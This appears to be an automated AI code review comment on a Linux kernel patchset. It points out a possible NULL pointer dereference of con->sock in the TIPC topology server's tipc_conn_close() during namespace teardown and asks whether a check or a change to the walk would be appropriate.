net/tipc/topsrv.c:tipc_topsrv_kern_subscr() {
	...
	con = tipc_conn_alloc(tipc_topsrv(net), NULL);
	...
}

and two other users of con->sock treat it as optional:

net/tipc/topsrv.c:tipc_conn_kref_release() {
	...
	if (con->sock)
		sock_release(con->sock);
	...
}

but tipc_conn_close() dereferences it in its first statement, before CF_CONNECTED is even tested:

net/tipc/topsrv.c:tipc_conn_close() {
	struct sock *sk = con->sock->sk;
	...
}

The ordering I think reaches this after the walk grabs a reference with kref_get_unless_zero():

tipc_group_create() -> tipc_topsrv_kern_subscr() creates conn X with sock == NULL

a name table event runs tipc_topsrv_queue_evt(), which keeps its tipc_conn_lookup() reference when the work is queued:

	if (queue_work(srv->send_wq, &con->swork))
		return;

socket close -> tipc_group_delete() -> tipc_topsrv_kern_unsubscr() clears CF_CONNECTED and drops its two references without waiting for the queued swork, so X stays in conn_idr owned by the pending work

netns exit -> tipc_topsrv_exit_net() -> tipc_topsrv_stop() runs before send_wq has executed that work

Only srv->awork is cancelled before the walk, and send_wq/rcv_wq are destroyed afterwards in tipc_topsrv_work_stop(), so is there anything that excludes a still-queued swork keeping a sock == NULL entry alive here? Would a check for con->sock in tipc_conn_close(), or skipping socket-less entries in the walk, be appropriate so the three sites touching con->sock agree?

Signature · 1 line

Sashiko AI review · https://netdev-ai.bots.linux.dev/sashiko/#/patchset/cover.1789960909.git.xuyuqiabc%40gmail.com